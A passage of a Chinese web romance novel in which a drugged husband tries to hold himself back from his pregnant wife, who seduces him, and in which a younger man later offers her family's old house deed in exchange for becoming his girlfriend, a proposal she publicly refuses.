这话等于给了陆明月一个盼头,她连忙用力点头,“我一定好好抄家规!好好学规矩!” 岑予衿不再多言,对着老太太再次颔首示意,转身离开了客厅。 她也不想继续待在这儿了。 陆京洲还不知道是个什么情况。 第120章 金圣娘娘的刺人小衫 岑予衿想了很多,陆宸朝是陆京洲的堂哥,打断骨头连着筋,想要拿到陆家,拉拢人心是必要的。 再说了,陆明月已经被她打怕了,纵使心里有气,也不可能不懂事。 他们俩背后可没有坚实的靠山,想要的都得靠自己争取。 要是完全撕破脸,代价可不只是失了人心这一条。 岑予衿自己开车回到陆京洲住的院子。 还没进门呢就听到了瓷器碎裂以及陆京洲崩溃怒吼的声音。 “滚出去!一个二个都给我滚出去!” “不许碰我!” “不许出现出现在我房间。” 岑予衿的心咯噔一下,熄了火之后,下车冲进房间。 冲进房间,看到的便是这样一幅景象。 陆京洲依旧穿着那件被姜晚樱撕扯开的衬衫,背靠着冰冷的墙壁,手中紧握着一个沉重的玻璃花瓶,像是濒危野兽最后的武器。 他胸膛剧烈起伏,呼吸粗重而滚烫,额发被汗水浸湿,黏在通红的额角和脸颊。 他的眼神迷离,显然是药效仍在猛烈发作,甚至因为之前的挣扎和此时的刺激变得更加狂躁。 但那眼底深处,却燃烧着一种近乎崩溃的屈辱和警惕,通红的眼眶里布满了血丝,死死地盯着周围试图上前安抚的佣人和医生。 “滚!都给我滚!”他声音嘶哑破碎,带着浓重的怒气,“不准碰我……脏……都不准过来!” “砰!”又是一声,他将花瓶狠狠砸在脚边不远处飞溅的碎片和冷水溅湿了他的裤脚,却也成功逼退了那些试图靠近的人。 “二少爷,您冷静点,医生帮你打镇定剂就好了……” 他看起来是应激了。 “滚开!” 岑予衿的出现,让慌乱无措的佣人们如同看到了救星。 “二少奶奶!” 陆京洲浑浊的目光也猛地扫了过来,带着同样的凶狠和排斥。 但在看清是她的一瞬间,那凶狠像是被针扎破的气球,迅速消散,取而代之的是一种巨大的、几乎要将他淹没的委屈和脆弱。 他举着花瓶的手微微颤抖,嘴唇翕动,想说什么,却只发出了一声压抑的,带着哭腔的喘息。 岑予衿的心像是被一只无形的手狠狠揪住,疼得她几乎无法呼吸。 很显然,过了这么久……那一针镇定剂还没打下去。 药效还在他的身体里不断的翻涌,折磨着他,难受了一个小时。 她深吸一口气,强行压下翻涌的情绪,对周围的佣人和医生挥了挥手,声音尽量平稳,“你们都先出去,把门带上。” “二少奶奶,这……”医生看着陆京洲那极不稳定的状态,十分担忧。 “出去!”岑予衿语气斩钉截铁,目光却始终牢牢锁在陆京洲身上,“没有我的允许,谁也不准进来!” 她的威严震慑住了众人,医生和佣人们只好依言退出,轻轻关上了房门。 房间里瞬间安静下来,只剩下陆京洲粗重痛苦的喘息声。 岑予衿一步步走向他,脚步很轻,生怕再次刺激到他。 “阿洲,”她声音放得极柔,像羽毛拂过水面,“是我,笙笙。没事了,他们都走了,现在只有我。” 陆京洲摇头,无力的瘫软在地上,一步步向后挪动,“我靠近我,你也出去,你也出去!” 岑予衿没听他的,扶着他,朝着楼上走去,“没事的,阿洲,我陪着你。” 陆京洲感受着她身上的寒意,像是抓住了什么救命稻草,贪恋着他身上的温度和似有如无的香气! 更难受了。 “笙笙,我要去洗澡,脏!” 岑予衿见他没有那么抗拒了,扶着他朝着楼上走去,“好,我带你洗澡。” 进了卧室,岑予衿还没有进浴室呢,他先冲进去了,先一步把门锁了,“媳妇儿,你去客卧洗澡……今晚自己涂妊娠油……别管我了,我洗个澡就好了。” 岑予衿:“……” 这都什么时候了他怎么还想着涂妊娠油。 真是又好气又好笑! “你想干嘛陆京洲,我是穿着金圣娘娘的刺人小衫吗?你不敢碰我!” “不行!不可以!!我不要!!!” 岑予衿站在浴室门外,听着里面传来的哗哗水声,以及压抑着的、仿佛极度痛苦的闷哼,心焦如焚。 她用力拍打着门板,“陆京洲!你开门!你一个人在里面不行!” 里面水声更大,想要盖过她在门外的声音。 岑予衿又气又急,口不择言,“你到底在别扭什么?我是你老婆!你现在这个样子,让我怎么放心?你是打算在里面把自己搓掉一层皮,还是想用冷水把自己浇死?” 陆京洲理智还是在的,把自己泡进冰冷的浴缸,里面加的都是冷水,水龙头不断的开着。 生怕水温上升了,他会控制不住,出去生扑了她。 他理智在的时候,会轻一点,控制一下就没事儿。 可这会的他已经没有理智可言了。 看着自己最喜欢的人在自己面前溜达,那……会疯会控制不住的! 他不想伤害她。 她没回家的时候,害怕别人靠近,总觉得靠近他的人都是图谋不轨的,哪怕是医生! 这局没有任何最优解。 唯一的办法就是他一个人泡在这冰冷的浴缸里。 半个小时后,外头终于是没有动静了。 陆京洲刚松了口气,那种情欲在血管里爆炸的感觉又涌了上来。 完了他终于知道什么叫做度秒如年了。 看着那扇紧闭的门,第一次有了拉开他的冲突。 想着,哪怕是抱着她,亲亲她也是可以的! 这个想法一涌上来,陆京洲急的一巴掌甩在了自己的脸上。 他自己也太不是人了,不能想! 绝对不可以想! 陆京洲将自己腰间的皮带解了下来,绕了两圈,把自己的两只手放进了两个洞。 随后用嘴死咬住皮带末端,用力抽筋,越挣扎越紧。 确定自己出去了,也伤害不到她,才完全放松下来,靠在浴缸里,死死咬着唇。 该死的! 早知道去客卧的浴室了,这间浴室里全是自己媳妇儿的影子。 睁开眼全是,闭上眼脑子里全是! 他算是完了! 第121章 陆京洲在自投罗网 岑予衿在门外急得团团转,里面水声哗哗,却听不到他半点回应。 只有偶尔泄露出的极力压抑的粗重喘息,像钝刀子一样割着她的心。 她越想越气,胸口堵得发慌。 是,陆京洲心疼她,怕伤着她,这份心意她懂。 可这都什么时候了? 他是被下了药,不是犯了罪! 难道要他一个人硬扛到虚脱甚至憋出毛病来吗? 再说了,她肚子里是有宝宝,他已经留后了,但要是真憋出什么毛病,那她不就得守活寡吗? 这算什么道理? 她岑予衿的男人,难道要因为这种可笑的原因折在这里? 难不成是她对陆京洲毫无吸引力可言。 不是……她魅力这么小的吗? 想到这里,她心里那点因他抗拒而生的委屈和气闷。 岑予衿眼神一凛,转身快步走向衣帽间。 她记得很清楚,上次苏乐言来家里玩的时候,神神秘秘的给她塞了一个包装精致的礼物盒。 说关键时刻用得上。 看着她挤眉弄眼的样子,她已经猜出来七七八八。 现在可不就是关键时刻吗? 行! 陆京洲能耐! 陆京洲是忍者神龟! 她倒是要看在她蓄意勾引,他还被下了药的情况下,他能忍多久! 岑予衿麻利的翻开箱子,里面比自己想象的还sexy! 嫩绿色小蕾丝吊带睡裙,上面有白色的手工蕾丝勾花,说是薄如蝉翼都不过分! 岑予衿抬手拎着吊带抬了起来,自己都没忍住,咽了咽口水。 苏乐言这眼光真是绝了。 怪不得说关键时刻才能打开,啧啧啧! 岑予衿脸上微热,但动作却没有丝毫犹豫,迅速脱下身上的衣服,将那件小小的小吊带穿了上去。 调高了室内温度。 看着镜子里的人影曲线毕露,肌肤在嫩绿色的映衬下更显白皙,是自己看了都爱的程度。 她都不知道自己漂亮成啥样了~ 她的身材和她的脸成反比。 脸看着又软又乖,身材却是又火又辣! 不过……光这样还不够。 陆京洲那倔驴,把自己反锁在里面,光靠哄是没用的。 她得想个办法。 岑予衿双手环胸,看了一眼周围的环境,将视线落在了柜子上。 陆京洲小时候被关过,所以他在每个房间里都放了急救工具。 她迅速打开柜子,取出工具箱,找了个小榔头,颠了颠重量,手感正好。 于是,当陆京洲正被冰冷的水和体内灼烧的火焰反复煎熬,用皮带捆住的手腕因为挣扎已经磨出红痕,意识在崩溃边缘徘徊时…… “砰!砰!砰!” 沉重的砸门声猛地响起,一声比一声急促,一声比一声响亮,带着不容置疑的架势,几乎要盖过浴室里的水声。 陆京洲混沌的脑子被这巨响震得一瞬清明,他愕然抬头,还没反应过来。 “哐当~”一声更大的碎裂声后,浴室门锁的位置直接被砸开了一个窟隆,门板晃了晃,随即被一只纤细却有力的手从外面猛地推开。 氤氲的水汽弥漫出来,陆京洲浸泡在满是冷水的浴缸里,浑身透着不正常的红晕。 黑发凌乱地贴在额前,嘴角被自己咬破渗出血丝,眼神猩红而错愕地看着门口。 岑予衿就站在那里,手里提着的那柄小榔头被她随手扔在一边,发出“咚”的一声闷响。 她身上是嫩绿色的小吊带,玲珑饱满的身段在朦胧的水汽中若隐若现,皮肤细腻白皙。 她的脸颊带着勾人的粉色,眼神却亮得惊人,带着一种豁出去的凶狠媚意,直直地看向他。 一步步靠近。 水珠顺着她散落的发丝滑下,落在精致的锁骨上,再往下,没入那诱人的沟壑。 陆京洲的呼吸骤然停滞,瞳孔猛地收缩,体内那股被强行压抑的邪火“轰”的一下,以燎原之势席卷了他所有的理智。 陆京洲立马闭上了眼睛,可显然来不及了。 岑予衿一步步走近浴缸,无视了满地的水和被他弄得狼藉的浴室。 她居高临下地看着他,声音带着一丝微喘,却异常清晰,每一个字都砸在他的心尖上。 “陆京洲,你睁开眼看清楚了,我是谁?” “是你明媒正娶的老婆,是你孩子他妈!” “你现在难受,我知道。但你宁可在这里自残,也不愿意碰我?” 她弯下腰,靠近他,温热的气息拂过他红透了的耳廓,带着决绝的诱惑,“你要是敢憋出毛病,让我守活寡,我就……我就……” 她“就”了半天,没想到合适的威胁,索性直接行动,伸手抓住他湿透的衬衫前襟,用力往自己这边一拽,恶狠狠地说: “我就天天穿着这个在你面前晃,看谁先疯!” 陆京洲脑中那根名为理智的弦,在她这番动作和言语的刺激下,彻底崩断! 睁开了眼睛,眼底满是情欲。 岑予衿软乎乎的拇指,轻轻划过他的唇瓣,他唇上的血迹被带了下来。 岑予衿当着他的面,伸出舌头,舔了一口那带血的手指,皱着眉淡淡评价,“咸咸的,不好吃!” 陆京洲看着她的样子,实在没忍住,咽了咽口水,性感的喉结伴随着吞咽的动作,上下滑动! 她太勾人了! 岑予衿趁他还没反应过来,低头用力的亲了上去。 他的理智瞬间土崩瓦解,拼命的回应着她的吻,生怕慢了一秒她会退开。 果然! 下一秒她退开了,声音勾人,“原来嘴再硬的男人,亲起来都是软乎乎的!” “笙笙……” “闭嘴!”岑予衿板着脸恶狠狠的抬手指着他,“你要是敢推开我,你完了!我可不愿意和一个不行的男人将就一辈子。” 岑予衿刚说完才发现,他被绑着的手,毫不犹豫的抬手扯住那条皮带,声音软软的夸奖,“老公,很乖嘛~都自己绑好了,自投罗网了。” 他喉咙里发出一声低沉的吼声,被皮带束缚的双手猛地用力。 下一秒,他反客为主,一把扣住岑予衿的手腕,巨大的力道将她猛地拉向浴缸。 “哗啦——! 冰冷的水花四溅。 岑予衿惊呼一声,整个人跌入冰冷的浴缸,落入他滚烫如烙铁的怀抱。 冷水瞬间浸透了她身上那件单薄的小蕾丝,布料紧紧贴在皮肤上,勾勒出更加惊心动魄的曲线。 冷与热的极致对比,让两人都忍不住战栗。 陆京洲赤红的眼睛死死盯着她,里面翻滚着压抑已久的欲望、委屈,还有失而复得的疯狂。 他低下头,滚烫的唇带着不容拒绝的力道,狠狠地碾上了她的唇瓣,吞没了她所有未出口的话。 “媳妇儿~”他在亲吻的间隙,用沙哑到极致的嗓音,“这是你自找的!” 他滚烫的吻落在她颈间,带着灼人的气息。 岑予衿在冰冷的水中颤抖,却不是因为冷,而是被他炽热的体温包裹。 陆京洲被束缚的双手仍留在她身后,但这并不妨碍他将她圈禁在怀中。 他的吻从唇瓣滑至耳垂,声音暗哑得不成样子,“笙笙,我怕……” 岑予衿轻笑,手指灵巧地解开他湿透的衬衫纽扣,“那你就温柔点。” 水波随着他们的动作轻轻荡漾,嫩绿色的蕾丝在水中漂浮如藻。 陆京洲的动作极轻极柔,仿佛在触碰世间最珍贵的瓷器。 “看着我,阿洲。”岑予衿捧起他的脸,望进他猩红的眼底,“我喜欢你!” 这句话彻底击碎了陆京洲最后的克制。 他俯身,用一个深吻封缄了她的唇。 浴缸里的水,不断漫出。 陆京洲怕水太冷,她会感冒,也怕伤到她,求她把手上的束缚解开之后,抱着她出了浴室,放在床上。 他像是饿了几年的狼,折腾到了大半夜。 月光透过窗户,映照着满室旖旎~ 夜深人不静,深夜人不眠! 第122章 小奶狗约她去情侣餐厅? 月光把床沿镀上一层柔白。 陆京洲撑着胳膊侧躺,视线黏在岑予衿脸上就没挪开过。 岑予衿累得几乎一根手指都抬不起来。 迷迷糊糊,还能感觉到陆京洲在细致地帮她清理,动作轻柔得不可思议,与方才的疯狂判若两人。 男人……真是矛盾综合体。 随后沉沉地睡了过去。 陆京洲却毫无睡意。 体内的药效虽已纾解,但另一种更为汹涌,更为滚烫的情绪,却在他胸腔里澎湃激荡,让他清醒无比。 一眨不眨地看着身边熟睡的人。 岑予衿睡颜恬静,长睫如蝶翼般垂下,在眼下投出一小片阴影。 脸颊上还残留着未完全褪去的红晕,唇瓣微微有些肿,却更添了几分娇憨诱人。 那件惹祸的小吊带早已不知所踪,此刻她身上只松松裹着他的睡衣,领口微敞,露出一截白皙优美的锁骨,上面还留着他情动时难以自控印下的点点痕迹。 陆京洲的眸光深了深,喉结不受控制地滚动了一下。 他小心翼翼地伸出手,指尖悬在她脸颊上方,想碰,又怕惊醒她。 最终,只是用指腹极其轻柔地、虚虚地描摹着她脸庞的轮廓,从饱满的额头,到挺翘的鼻尖,再到那微肿的唇。 月光悄悄偏移,将她笼在一片柔和的清辉里。 陆京洲看着看着,心里像是被最柔软的羽毛填满了,又胀又暖。 他老婆就是个香香软软的小蛋糕~ 他心底的柔情和爱意几乎要满溢出来。 最后还是没忍住,凑近她的脸颊,在那微微泛红的脸颊上,落下了一个吻。 一触即分。 岑予衿在睡梦中似乎有所觉,无意识地嘤咛了一声,脑袋往他这边偏了偏,温热的呼吸拂过他的颈侧。 陆京洲身体一僵,随即放松下来,眼底漫上浓得化不开的笑意。 他调整了一下姿势,让她睡得更舒服些,手臂轻轻环过她的腰肢,掌心贴在她依旧平坦的小腹上。 这里,有他们的宝宝。 一种难以言喻的感觉涌上心头,他的全世界都在他身边。 也许是他抱的太紧了,她哼哼唧唧了一下。 无意识地舔了舔嘴唇,陆京洲的目光便凝在那微微湿润的唇瓣上,喉结上下滑动,最终还是没忍住,再次俯身,极尽克制地,轻轻地啄吻了一下。 像蜻蜓点水,怕惊扰了她的梦。 一次,两次…… 他明知道应该让她好好休息,却总也看不够,忍不住想一遍又一遍地确认她的存在。 偶尔,岑予衿会在半梦半醒间,感觉到脸颊或额头上温软的触感,还有专注到近乎执拗的视线。 她太困了,只模糊地想着陆京洲这笨蛋怎么还不睡,便又沉入更深的睡眠。 晨光熹微,透过没拉严实的窗帘缝隙,斜斜地照进卧室,在地板上投下一道温暖的光带。 岑予衿是被生物钟和腹中隐隐的饥饿感唤醒的。 意识先于身体回笼,昨晚的记忆如同潮水般涌来。 脸上不由自主地发烫,她悄悄睁开一条眼缝。 入目便是陆京洲近在咫尺的睡颜。 他竟然还维持着侧躺的姿势,一只手被她枕在颈下,另一只手依旧松松地环着她的腰。 一想到昨天晚上他把自己锁起来,甚至怕自己伤害到她把自己绑起来的画面。 岑予衿心里软成一滩水,又有点酸酸胀胀的疼。 下一刻,昨晚某些过于激烈的画面闪过脑海,她心里咯噔一下,瞬间清醒了大半。 宝宝! 她怎么把这么重要的事给忘了! 昨晚陆京洲那样子……虽然他已经很小心了,但万一呢? 岑予衿立刻屏住呼吸,小心翼翼地挪开陆京洲环在她腰上的手臂。 男人似乎睡得并不沉,手臂动了动,无意识地收拢了一下。 她立刻僵住,等了几秒,见他只是习惯性地想搂紧她,并未醒来,才慢慢地将他的手放到一边。 她动作轻缓地坐起身,被子滑落,身上穿着陆京洲宽大的睡衣,空荡荡的。 第一件事,她没有急着下床,而是缓缓地将手掌覆上自己微微隆起的小腹。 指尖微凉,触到温热的肌肤。 她闭上眼睛,仔细感受。 没有明显的坠痛感,也没有任何异样的不舒服。 昨晚那种难以言说的酸胀感已经消退,只剩下一点点运动过度的疲惫和些微痕迹带来的隐秘触感。 岑予衿悄悄松了口气,紧绷的神经放松下来。 还好,应该没事吧。 她微微弯起嘴角,忍不住低头,用掌心轻轻摩挲了一下小腹。 刚放松下来,身后便贴上来一具温热坚实的躯体。 陆京洲不知何时已经醒了或者是根本没有睡得很沉。 他双臂从后面环过来,将她整个人圈进怀里,下巴搁在她肩窝,带着刚醒的鼻音,含糊地问,“怎么醒了?还早,再睡会儿。” 他的气息拂过她耳畔,酥酥麻麻的。 岑予衿靠在他怀里,没回头,只是覆在小腹上的手,被他的大手轻轻覆盖住。 “你在摸什么?”陆京洲的声音清醒了些,带着一丝不易察觉的紧张,“不舒服吗?” 岑予衿转过身,面对面看着他。 晨光里,他眼里的担忧怎么也藏不住。 她伸出手,捏了捏他的脸颊,故意板起脸,“我在检查!看看某个不知节制的家伙,昨晚有没有伤到我的宝宝!” 陆京洲闻言,神情立刻紧绷起来,刚才的慵懒睡意一扫而空。 他立刻坐直身体,目光紧紧地锁在她的腹部,语气带上了明显的自责和慌乱,“是不是疼?有没有哪里不舒服?我……我昨晚是不是……弄疼你了。” 看他这副如临大敌,恨不得时间倒流的样子,岑予衿那点故意吓唬他的心思立刻烟消云散,只剩下心疼。 “没有啦,”她赶紧拉住他的手,重新放回自己小腹上,语气软下来,“我感受了一下,没什么不舒服的,只是有点担心,毕竟是第一次嘛。” 陆京洲松了口气,但眉眼间的凝重并未完全散去,“媳妇儿,哪里不舒服一定要告诉我。” “嗯!” 陆京洲意犹未尽的抱了她一会,起床给她做早餐。 饭还没吃两口呢,岑予衿就被信息轰炸了。 【姐姐,这几天怎么没联系我?】 【一点点都没有想到我吗?】 【看来,我手里的宅子对你来说也不是那么重要嘛。】 【这段时间我想了好多,姐姐要是真的喜欢我也能忍痛割爱。】 【今晚20点,恒慕!不见不散哦~我等姐姐过来。】 岑予衿差点没被呛死,恒慕! 那不是个情侣餐厅吗? 小屁孩要搞什么幺蛾子! “老婆,在看什么呢?”陆京洲见她半天没有动静,有些好奇的开了口。 岑予衿摇了摇头,心却已经不在面前的菜肴上了。 第123章 姐姐,做我女朋友吧! 岑予衿指尖在手机屏幕上顿了顿,指腹无意识地摩挲过冰凉的玻璃屏。 将信息页面按灭,抬眼对上陆京洲探询的目光,只淡淡扯了扯唇角,“没什么,公司那边的一点琐事,晚上要出去一趟处理一下。” 陆京洲正给她碗里夹菜的手一顿,勺子撞在白瓷碗壁上,发出一声轻响,“需要我陪你去吗?” 看她眉头不展的样子似乎挺严重。 “不用,去谈个合作,我自己能搞定。”岑予衿避开他的视线,低头扒了口粥,温热的米粥滑进喉咙,却没驱散心底的沉郁。 心里不断盘算着,沈思勉手里攥着岑家老宅的地契,那里有她整个童年的回忆,也是爸妈住了一辈子的地方,绝不能落在外人手里。 好不容易查到买主,就算沈思勉那小子没安好心,这一趟,她也必须走。 陆京洲盯着她紧绷的侧脸,目光扫过她微垂的长睫,还有那紧抿的唇瓣,终究没再多问。 只是将温热的牛奶往前推了推,杯壁上还凝着细密的奶渍,“早去早回,晚上我去接你。” 岑予衿喉间发涩,低低应了声“嗯”,却没敢告诉他,赴约的地点是恒慕那样的情侣餐厅。 她太清楚陆京洲的性子,表面看着沉稳大度,可骨子里对她的占有欲,她能察觉到,若是知道她要去那种地方见一个年轻气盛的男大学生,指不定会闹出什么事。 傍晚七点半,夕阳的最后一抹余晖刚隐没在城市天际线,岑予衿就换好了衣服。 一袭简约的黑色长裙,剪裁利落,勾勒出她纤细却不失气场的身段,裙摆堪堪垂到小腿,她畏寒又加了一件灰色羊绒大衣。 踩着一双低跟黑色皮鞋,既不张扬,又透着股生人勿近的冷冽。 她刚拎起包要出门,手腕就被陆京洲攥住。 男人的掌心温热干燥,指腹带着薄茧,轻轻摩挲着她腕间细腻的皮肤,眸色沉沉,声音里带着几分不易察觉的叮嘱,“那有事儿给我打电话。” 岑予衿心头一暖,踮起脚尖,在他唇角印下一个轻吻,鼻尖蹭过他下巴,呼吸落下,带着点痒意,“放心,你老婆没那么好欺负。” 陆京洲低笑一声,收紧手臂将她揽进怀里,下巴抵着她的发顶,深吸了一口她发间的清香,才松了手,“我也得去见见那两个损友,晚点来接你。” 他口中的损友是傅星驰和程凌晟。 岑予衿点点头,推开门走了出去,没看到身后陆京洲望着她背影时,眼底一闪而过的深思。 他得干件大事儿! 恒慕餐厅坐落在市中心的江边,是出了名的情侣圣地,一到晚上,整栋楼都笼罩在暖粉色的柔光里。 门口的喷泉池里飘着玫瑰花瓣,晚风一吹,带着淡淡的花香。 岑予衿刚走到门口,就被侍者引着往里走,穿过铺满玫瑰的长廊,耳边是缠绵的轻音乐。 鼻尖萦绕着甜腻的香氛,周围的情侣们依偎私语,衬得她独自一人的身影,格外突兀。 她刚走进大厅,就看到靠窗位置,一个穿着白色卫衣的少年正冲她挥手。 是沈思勉,眉眼干净,皮肤白皙,笑起来的时候嘴角还有个浅浅的梨涡,像颗刚剥了糖纸的奶糖,看着纯良无害。 可她的第六感告诉她,他并没有看到的那么简单。 岑予衿踩着柔软的地毯走过去落座,黑色裙摆扫过椅子,发出轻微的声响,刚坐稳,就开门见山,语气没什么温度,“说吧,考虑好了没有?” “姐姐,这么久也没给我发个消息,一来就开始说这件事情不好。” 岑予衿总觉得他怪怪的,只想速战速决,“你想要多少钱都没问题。” 沈思勉没急着回答,反而慢悠悠地端起桌上的水杯抿了一口。 随即推过来一杯粉色的鸡尾酒,杯口插着片新鲜的柠檬,杯壁上还挂着晶莹的水珠,“姐姐别急,先喝杯酒,我们慢慢聊。” 岑予衿瞥了眼那杯酒,澄澈的粉色液体里浮着细碎的气泡,看着诱人,可她指尖连碰都没碰,甚至往后撤了撤手,语气冷了几分,“我不喝酒,有话直说。” 她现在还怀着孕,别说酒了,连刺激性的饮料都碰不得,更何况是这种来路不明的酒。 陆京洲喝了碗姜汤都能被下药,她已经害怕了! 沈思勉似乎也料到她会拒绝,也不勉强,自然地收回酒杯,手肘撑在光滑的桌面上,身子微微前倾,凑近她时,带着股淡淡的清爽香柠味儿,混着少年身上特有的干净皂角香,“条件很简单啊。” 话音落下,他忽然打了个清脆的响指。 “啪”的一声,在柔和的音乐里格外明显。 下一秒,餐厅里原本舒缓的背景音乐瞬间切换,变成了缠绵悱恻的小提琴独奏,琴声悠扬,带着浓浓的暧昧气息,在不大的空间里缓缓流淌。 紧接着,天花板上的灯光也悄然调暗,周围的桌灯都变成了朦胧的暖黄色,唯独一束追光,精准地打在了岑予衿的身上,将她整个人笼罩在光晕里,瞬间吸引了周围几桌客人的目光。 岑予衿眉头微蹙,心里涌上一股不好的预感,刚要开口质问,就见一位穿着精致燕尾服的服务生,推着一辆装饰精美的三层餐车,缓缓朝这边走来。 餐车的轮子碾过地毯,没什么声响,可岑予衿的心跳却莫名快了几分。 她盯着那餐车,最上层,是一个巨大的、由999朵粉色玫瑰簇拥而成的花球,每一朵玫瑰都娇艳欲滴,花瓣上还凝着水珠。 其间点缀着数朵洁白如雪的蝴蝶兰,花团锦簇,几乎占满了整个餐车顶层,奢靡又张扬。 花球正中央,一个暗红色的天鹅绒首饰盒静静躺着,盖子不知何时已经打开,里面是一条设计精美的钻石项链。 鸽子蛋大小的主钻在灯光下折射出耀眼的光芒,链身镶嵌的细碎碎钻,如同星河落坠,晃得人眼晕。 餐车中层,是一个小巧精致的奶油蛋糕,淡粉色的裱花,边缘缀着新鲜的草莓,蛋糕正中央,用白色糖霜工工整整写着“笙笙”二字。 周芙笙是她现在的名字! 所以他这是要表白? 餐车底层,还放着一个丝绒盒子,打开来,是两枚定制的情侣戒指,款式简约,却闪着细碎的光芒。 这突如其来的排场,瞬间引爆了餐厅的氛围,周围几桌客人纷纷侧目,好奇或羡慕的低语隐约传来,还有人拿出手机,悄悄对着这边拍照。 “天呐,这也太浪漫了吧。” “这小伙子看着年纪不大,手笔倒是不小。” “那女的看着好淡定,是惊喜到了吗?” 议论声不大,却一字不落地飘进岑予衿耳朵里,她放在桌下的手,指甲几乎要嵌进掌心。 沈思勉身体往后靠了靠,慵懒地倚在椅背上,脸上挂着那抹标志性的,干净又带着几分玩味的笑意。 眼神直勾勾锁住岑予衿微微错愕的脸,半点没放过她脸上的神情变化。 “条件很简单啊,姐姐~”他微微侧头,凑到她耳边,声音压得极低,带着少年特有的清朗,却又刻意掺入一丝蛊惑,温热的气息拂过她的耳廓,激起一阵细密的战栗,“做我女朋友。老宅的地契,连同这条项链,还有我和我的心意,都归你。” 他说得轻巧,仿佛在谈论天气,可那眼底闪烁的光芒却异常认真,甚至带着点势在必得的期待。 像是笃定了她会答应。 岑予衿猛地往后撤了撤身子,拉开两人之间的距离,眼神冷了下来。 她看着眼前这过于戏剧化的一切,只觉得荒谬到极致。 第二次见面,在这样暧昧的情侣餐厅,摆出这样隆重又张扬的追求姿态,是觉得她岑予衿缺这点钱,缺这条项链,还是觉得她会为了一块地契,就背弃自己的婚姻? 那清爽的香柠味此刻似乎也变得粘腻起来,钻进鼻腔,让她莫名觉得烦躁。 她没去看那价值不菲的项链,也没看那写着她名字的蛋糕,目光掠过那庞大到几乎要占满过道的花束,最终定格在沈思勉脸上。 唇角勾起一抹极淡极冷的弧度,那笑意未达眼底,只带着疏离和嘲讽。 “沈思勉。”她声音平静,却带着彻骨的寒意,在悠扬的小提琴声里,清晰地传进少年耳中,“你今年多大?二十?二十一?” 沈思勉挑眉,似乎没料到她会是这个反应,愣了一下,才扬起下巴,语气里带着几分不服输的倔强,“二十,怎么了姐姐?年龄不是问题,你不也才二十四?四岁的差距,算不得什么。” 在他看来,二十四岁的她,虽然比他大四岁,可根本看不出来,远比同龄的小姑娘更吸引人。 “年龄确实不是问题,”岑予衿缓缓站起身,黑色长裙随着她的动作垂落下来,衬得她身形越发挺拔清冷。 她居高临下地看着椅背上的少年,眼神里的嘲讽更甚,“问题是,你凭什么觉得,我会用自己,去换一块地契?” 她的声音不大,却带着一股强大的气场,瞬间压过了周围的议论声,连那缠绵的小提琴声,都成了背景板。 沈思勉脸上的笑容僵了僵,眼底的势在必得也淡了几分,他坐直身子,皱着眉道,“姐姐,我是真心的。岑家老宅对你来说意义非凡,我知道,只要你点头,它就能物归原主,你不亏。” 沈思勉见她一直不说话,拿起那个丝绒盒子,单膝跪地,“姐姐,你相信我,我对你一见钟情,这辈子只喜欢你一个。” 第124章 无所谓,我可以当三! 沈思勉这句话如同一道惊雷,在岑予衿耳边轰然炸响。 他直接单膝跪地,骨节分明的手指紧紧攥着那枚镶嵌着碎钻的戒指。 粉色的柔光打在戒指上,折射出的光芒刺得岑予衿眼睛发疼。 周围的宾客先是一愣,随即爆发出压抑的惊呼声,手机拍照的闪光灯此起彼伏,所有目光都聚焦在两人身上。 吃瓜果然是人的天性! 岑予衿低头,居高临下地看着跪在自己面前的少年。 他的眉眼依旧干净,眼神里透着一股近乎天真的执着,仿佛真的相信,这样盛大又冒昧的表白,能撬动她的心防,能让她为了老宅地契,抛下所有顾忌。 可他不知道,岑予衿的心,早就被层层枷锁牢牢锁住了。 她经历过一段失败的婚姻,那些背叛和算计,像淬了毒的针,至今还埋在她心底。 连目前经营的这一段婚姻她都没有100%的把握。 尽管现在的陆京洲保证了再保证,自己真的很喜欢她,她也不敢完全把自己的心交出去。 她在皇都听到的那些,像魔咒一样一直在脑子里萦绕着。 她想刻意忘记都忘不了。 岑予衿的指尖紧紧攥着羊绒大衣的衣角,布料被捏出深深的褶皱,她的神情复杂到了极点,有无奈,有烦躁,还有一丝不易察觉的疲惫。 她本想留几分体面,不想把场面闹得这么僵,可沈思勉的步步紧逼,彻底斩断了她的退路。 她缓缓吐出一口气,冰凉的空气顺着喉咙滑进肺腑,稍稍压下了心底的翻涌。 随即,她抬起手,纤细的手指抚上羊绒大衣的扣子,动作缓慢却坚定。 一粒,两粒。 精致的扣子被逐一解开,灰色的大衣从她肩头滑落,她随手将其搭在身侧的椅背上。 下一秒,黑色长裙下那处微微隆起的小腹,在追光灯的直射下无所遁形,哪怕裙摆宽松,也藏不住三个多月双胞胎的弧度。 整个餐厅瞬间陷入死一般的寂静。 缠绵悱恻的小提琴声戛然而止,演奏者错愕地停下了琴弓,琴弓悬在半空,连呼吸都忘了。 侍者端着酒杯的手僵在原地,杯中的红酒晃出细微的涟漪。 周围宾客的议论声,快门声,也在这一刻彻底消失,偌大的餐厅里,只剩下彼此清晰可闻的心跳声。 沈思勉脸上的表情瞬间凝固了,那股势在必得的自信,先是被惊愕取代,紧接着又翻涌起浓重的难以置信。 他跪在地上的姿势变得无比僵硬,膝盖抵着地毯,连带着身体都在微微发颤,捧戒指的手更是抖得厉害,指节因为用力而泛出青白。 “我怀孕了。”岑予衿的声音平静得可怕,没有一丝波澜,一字一句,像冰珠砸在玉盘上,清晰地在寂静中回荡,“三个月了,双胞胎,我很爱我的丈夫,我丈夫也很爱我,目前没有要离婚的打算。” 她说完,下意识地伸出手,掌心轻柔地覆在小腹上,那是一个母亲本能的保护动作。 眼底也瞬间漾起一层温柔的涟漪,与方才的冷冽判若两人。 “沈少爷。”她再次垂眸看向他,眼神里没有愤怒,也没有嘲讽,声音平静的不能再平静,“你觉得,一个怀着丈夫孩子的已婚女人,会为了什么地契,接受另一个男人的戒指吗?” 话音落下,周围响起一片倒吸冷气的声音,细碎的议论声又开始蔓延,却都刻意压低了音量,带着明显的唏嘘和同情。 “天呐,她居然怀孕了,还是双胞胎!这小伙子完全没预料到吧?” “这是在干什么啊,明知道人家已婚还搞这一出,现在尴尬透顶了吧。” “也太离谱了,拿老宅地契要挟人就算了,还当众求婚,这下脸丢大了……” 沈思勉的脸色一阵白一阵红,最后又彻底转为铁青,像是被人狠狠甩了一巴掌。 他猛地站起身,动作太急太猛,膝盖撞到椅子腿,发出一声闷响,连带着椅子都差点被带倒在地。 那枚戒指盒从他松开的指间滑落,啪的一声掉在柔软的地毯上,发出沉闷的声响,盒盖摔开,戒指滚落在地,光芒瞬间黯淡了下去。 